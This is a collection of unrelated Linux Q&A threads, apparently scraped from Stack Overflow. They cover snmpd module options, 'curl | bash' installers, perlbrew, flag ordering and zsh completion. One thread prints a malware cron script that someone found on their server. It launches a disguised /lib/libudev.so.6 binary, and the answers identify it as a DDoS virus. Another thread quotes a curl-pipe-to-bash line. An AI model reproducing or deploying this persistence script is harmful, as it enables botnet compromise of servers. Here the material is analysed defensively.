I am trying to determine why a number of sites are recommending the mteTrigger,mteTriggerConf optons below be placed as options in SNMPDOPTS for snmpd's /etc/default/snmpd (Ubuntu).
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -g snmp -I -smux,mteTrigger,mteTriggerConf -p /var/run/snmpd.pid'
What is the benefit of adding these options as apposed to leaving them out?
Although I'm not entirely sure if Stack Overflow is the best place for this question, I'll try to answer it.
First note that the part -I -smux,mteTrigger,mteTriggerConf is one option. The -I option specifies which modules should (or should not) be initialized when the agent starts up. The '-' before the second part means that the specified modules should not be started.
My guess is that smux is disabled because it has been deprecated by the AgentX protocol (source), and the mteTrigger and mteTriggerConf modules because they don't work without non-free MIBs (source).
Related
I see a lot of bash install scripts that goes like this
curl -o- http://example.org/script.sh | bash
Eg: https://github.com/nvm-sh/nvm#install--update-script
As far as I know writing to stdout is the default behaviour of curl.
Is there a specific reason to use this in any case?
As you note, -o - is the default behavior out of the box; but users might have a .curlrc file which specifies a different local default.
Also, -o - somewhat helps document to readers who are unfamiliar with curl what's going on.
I've ubuntu 16.04 and i've installed perl 5.8.7,5.18.2 both with threads activated, and 5.18.1 without threads.
The purpose was to use a version of Perl with threads instead of forks as i've mutiple scripts already done with threds and forks is not a proper multi-threading models (it just forks processes).
The first problem i get is when installing modules via cpanm -fi [name_of_module] command. As a matter of fact the command doesnt' return anything at all! just 'Perl'. The same fact happens when i'm traying to instal wathever modules i desire using in my scrips.
I think this problem is linked with the fact i'm able to use ''treads'' just when i run the scripts without sudo (e.g.perl [name_of_the_script]), while when i run it with 'sudo perl [name_of_the_script]' says 'the current version of Perl doesn't support threads'!
That's quite strange.
The perlbrew enviroment veriables are set up correctly and when i type ''which perl'', the system poits to the new-version directory as expected.
Dont' know how to proceed
I see that you posted several question in one paragraph. I'll try to answer the onse that I could.
cpanm -fi XXX does not "return anything at all"
I'm not sure I get this part. If XXX failed to be installed, there should probably be some error messages on the screen. The fact that perlbrew list-modules prints nothing but Perl implies that probably nothing is installed.
It could be that your cpanm execuateble is implicityl installing stuff for system perl instead. You could verify this by checking the first line of head =cpanm. If it is not #!/usr/bin/env perl, it is probably wrong. You want the one installed by: perlbrew install-cpanm
sudo perl
I wonder if you PATH is actually correctly set -- Running perl -V after perlbrew use 5.8.7 can show you enough version information and therefore tell you whether perlbrew itself is working properly.
You probably also need sudo -E perl instead. sudo reset env vars unless you ask it not to (the -E option), and PERL5LIB is probably needed.
I am wondering how I can add linux command option at the end without error.
For example
rm file1/ -r
cp file1/ file2/ -r
I experience some Linux cluster system can do it, bus others cannot.
As searched for while, getopts command may help but I am not sure if getopts is best choice for that and (also not sure how to implement for that my purpose).
Do I need to customize command by command or there is more general solution that can be applied any command?
Thank you for your help.
Consider this command:
rm -f myfile -r -- -i
The GNU flag convention is to allow options anywhere, up until an optional -- to indicate "end of options". Programs following it will see the options -r and -f, plus the arguments myfile and -i
The BSD flag convention is that flags are only allowed up until the first non-flag argument, or until an optional --. Programs following it will see the option -f, plus the arguments myfile, -r, -- and -i.
POSIX only requires utilities to support the BSD style.
It's up to the individual program to decide how to interpret flags. If you're on a BSD style system like FreeBSD or macOS, you can install GNU tools and use those. If you can't, you're mostly stuck with the system's flag convention.
I have been experiencing spikes up to 1 Gbps on my server and have been looking for virus' and malware. I found this file: gcc.sh in /etc/cron.hourly and was wondering if anyone has seen anything like it, and would have some insight into the code. Thanks!
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/binfor i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6
Quite likely. It uses /lib/libudev.so.6 as an executable while the name implies it should be a library - try using a tool like nm or objdump to see if it's an executable. It copies from /lib/libudev.so to .so.6 - while normally the .so is a symlink to the versioned one. It also runs a for loop to bring up all network connections even if you've turned them off. It uses the name of a well-known compiler to look legit. I'd call this 99%+ likely a virus.
Found another reference to something calling itself gcc - https://superuser.com/questions/863997/ddos-virus-infection-as-a-unix-service-on-a-debian-8-vm-webserver . And yes, that's a DDoS virus on a unix system, exactly matching your problem.
yes it is.
try using ps -ef | grep -i libudev.so.6 to see the processes used by the program
I would like to enable zsh to autocomplete modules for yast2 (an OpenSuSE control panel), but it seems to already have some things defined. I can run
compctl -k "(hello world)" nonexistantprogram
just fine, but
compctl -k "(hello world)" yast2
doesn't work at all. Some things for yast2 seem to be already defined, namely the "-" options: --fullscreen, --geometry, --list [submodules], etc.
Even if for those who don't use OpenSuSE: Are there any flags to compctl to make it override previous settings? Thanks very much in advance.
Most likely, your system is using the newer compsys system rather than the older compctl system. See man zshcompsys and man zshcompwid (and man zshcompctl).
The completion function for yast2 is probably in this file (or similar path):
/usr/share/zsh/functions/Completion/Linux/_yast